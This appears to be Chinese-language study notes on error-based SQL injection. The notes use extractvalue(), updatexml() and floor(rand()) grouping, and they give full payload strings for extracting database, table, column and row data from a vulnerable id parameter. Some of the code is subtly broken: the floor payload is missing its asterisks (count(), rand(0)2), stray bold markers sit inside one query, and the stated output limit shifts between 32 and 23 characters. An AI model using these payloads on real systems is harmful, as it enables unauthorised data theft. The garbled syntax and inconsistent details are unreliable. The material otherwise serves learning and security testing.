报错注入

报错注入存在基础：后台对输入输出的合理性没有做检查，
报错注入使用情况：报错注入用于union 注入没有回显位的情况，但会有报错提示，借用报错回显的位置来显示我们查询的信息。

1、extractValue()报错注入：
extractValue(1，2)一个对xml文件进行查询的函数，包含两个参数，1 是XML文档对象的名称，2 是路径

开头工作和union注入相同，先确定注入类型、过滤了那些字符，然后用order by 确定列数，然后开始报错注入

拿数据库名
id=0' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
也可以用下面这个形式,更简洁方便
id=0' and 1=extractvalue(1,concat(0x7e,(select database()))) --+

下一步就是拿表名,其实也就是替换了加粗部分
id=0' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+
下一步拿列名
id=0' union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'))),3 --+

最后就可以拿数据了

id=0' union select 1,extractvalue(1,concat(0x7e,(**select group_concat(列名) from 表名 **))),3 --+

但报错一次才能返回32个字符，当数据比较多的时候需用使用substring()函数来显示更多的信息，然后拼接起来
substring(1,2,30)函数包括三个参数，1 是查询的数据，2是开始显示的位置，30 是返回字符数量，通过更改参数2来查看后面的内容，第一次让参数2的值等于1，第二次让参数2的值等于30，这样就可以得到完整的数据。

substring()用法：把加粗部分放到，参数1的位置就可以。

2、updatexml()报错注入
报错原理：同extractvalue()相同，
用法：updatexml(1,2,3),包含三个参数，能引起报错的就是2号参数，把2号参数换位以上加粗的内容即可，并且也和extractvalue()函数相同一次只能返回23位，需要用substring()来控制输出。

3、floor报错注入
基础知识：
rand()函数：随机返回0-1之间的数
floor()函数：小数向下取整数
concat_ws()函数：将括号内的数据用第一个参数规定的符号连接起来，如：concat_ws('~',2,3) ----print:2~3
count()函数：汇总统计数量
limit()函数：显示制定行数

id=0' union select 1,count(),concat_ws('~',(select查询语句),floor(rand(0)2)) as a from information_schema.tables group by a --+

注：当数据显示不完全的时候，可以在select 查询语句后加 limit 0,1； 表示每次显示一行从第0行开始，通过修改这个值来看其他行的数据。